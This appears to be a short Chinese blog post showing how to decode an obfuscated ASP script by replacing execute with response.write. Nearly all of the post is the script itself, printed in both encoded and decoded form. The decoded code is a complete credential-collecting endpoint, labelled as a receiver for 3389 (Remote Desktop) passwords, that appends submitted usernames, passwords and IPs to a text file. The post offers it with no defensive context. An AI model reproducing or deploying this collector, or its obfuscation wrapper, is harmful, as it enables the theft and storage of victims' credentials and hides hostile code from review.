超简单的ASP解密方法

---------------------------------------------------------未解密代码-----------------------------------------------------------------------------


<%
darkst="!!!!!黎!!Ejn!!!WbmjeFousz!!!!!黎!!WbmjeFousz!!!>!!!Usvf!!!黎!!Jg!!!opu!!!JtFnquz)Tfttjpo)#MphJo#**!!!uifo!!!WbmjeFousz!!!>!!!Gbmtf!!!黎!!Jg!!!WbmjeFousz!!!Uifo!!!!!黎!!Dpotu!!!GpsBqqfoejoh!!!>!!!9!!!黎!!Dpotu!!!Dsfbuf!!!>!!!usvf!!!黎!!Ejn!!!GTP!!!黎!!EJN!!!UT!!!黎!!EJN!!!NzGjmfObnf!!!黎!!(Ejn!!!tusMph!!!黎!!Ejn!!!tusUjnf-tusVsm-tusPqpsbujpo-tusVtfsBhfou!!!黎!!!!黎!!NzGjmfObnf!!!>!!!Tfswfs/NbqQbui)#JQ/uyu#*!!!黎!!Tfu!!!GTP!!!>!!!Tfswfs/DsfbufPckfdu)#Tdsjqujoh/GjmfTztufnPckfdu#*!!!黎!!Tfu!!!UT!!!>!!!GTP/PqfoUfyuGjmf)NzGjmfObnf-!!!GpsBqqfoejoh-!!!Dsfbuf*!!!黎!!!!黎!!tusVsm>Sfrvftu/TfswfsWbsjbcmft)#SFNPUF`BEES#*!!!'!!!#!!!#!!!黎!!!!黎!!(!!!Xsjuf!!!dvssfou!!!jogpsnbujpo!!!up!!!Mph!!!Ufyu!!!Gjmf/!!!黎!!Ut/xsjufmjof!!!#....咻咻淫荡的分割线....#!!!黎!!Ut/xsjufmjof!!!#服务器JQ：#'tusVsm!!!黎!!(!!!Dsfbuf!!!b!!!tfttjpo!!!wbsjbmcf!!!up!!!difdl!!!ofyu!!!ujnf!!!gps!!!WbmjeFousz!!!黎!!Tfttjpo)#MphJo#*!!!>!!!#zft#!!!黎!!Tfu!!!UT!!!>!!!Opuijoh!!!黎!!Tfu!!!GTP!!!>!!!Opuijoh!!!黎!!Foe!!!Jg!!!黎ovn>sfrvftu)#vtfs#*黎qbtt>sfrvftu)#qbtt#*黎iyjq>sfrvftu)#jq#*黎tfu!gt>tfswfs/DsfbufPckfdu)#Tdsjqujoh/GjmfTztufnPckfdu#*黎tfu!gjmf>gt/PqfoUfyuGjmf)tfswfs/NbqQbui)#JQ/uyu#*-9-Usvf*黎jg!iyjq!=?##!uifo黎gjmf/xsjufmjof!ovn,#....#,qbtt,#....jq;#,iyjq黎fmtf黎gjmf/xsjufmjof!ovn,#....#,qbtt黎foe!jg黎gjmf/dmptf黎tfu!gjmf>opuijoh黎tfu!gt>opuijoh黎sftqpotf/xsjuf!#※※※远洋方舟专用※※※449:记录管理密码BTQ收信版,显JQ!#黎!黎"
execute(UnEncode(darkst))
function UnEncode(temp)
    but=1
    for i = 1 to len(temp)
        if mid(temp,i,1)<>"黎" then
            If Asc(Mid(temp, i, 1)) < 32 Or Asc(Mid(temp, i, 1)) > 126 Then
                a = a & Chr(Asc(Mid(temp, i, 1)))
            else
                pk=asc(mid(temp,i,1))-but
                if pk>126 then
                    pk=pk-95
                elseif pk<32 then
                    pk=pk+95
                end if
                a=a&chr(pk)
            end if
        else
            a=a&vbcrlf
        end if
    next
    UnEncode=a
end function
%>


---------------------------------------------------------未解密代码-----------------------------------------------------------------------------


 


解密方法：


把 execute(UnEncode(darkst))  换成 response.write(UnEncode(darkst)) ，然后浏览器中访问即可解密


 


---------------------------------------------------------解密后代码-----------------------------------------------------------------------------


Dim ValidEntry ValidEntry = True If not IsEmpty(Session("LogIn")) then ValidEntry = False If ValidEntry Then Const ForAppending = 8 Const Create = true Dim FSO DIM TS DIM MyFileName 'Dim strLog Dim strTime,strUrl,strOporation,strUserAgent MyFileName = Server.MapPath("IP.txt") Set FSO = Server.CreateObject("Scripting.FileSystemObject") Set TS = FSO.OpenTextFile(MyFileName, ForAppending, Create) strUrl=Request.ServerVariables("REMOTE_ADDR") & " " ' Write current information to Log Text File. Ts.writeline "----咻咻淫荡的分割线----" Ts.writeline "服务器IP："&strUrl ' Create a session varialbe to check next time for ValidEntry Session("LogIn") = "yes" Set TS = Nothing Set FSO = Nothing End If num=request("user") pass=request("pass") hxip=request("ip") set fs=server.CreateObject("Scripting.FileSystemObject") set file=fs.OpenTextFile(server.MapPath("IP.txt"),8,True) if hxip <>"" then file.writeline num+"----"+pass+"----ip:"+hxip else file.writeline num+"----"+pass end if file.close set file=nothing set fs=nothing response.write "※※※远洋方舟专用※※※3389记录管理密码ASP收信版+显IP "


---------------------------------------------------------解密后代码-----------------------------------------------------------------------------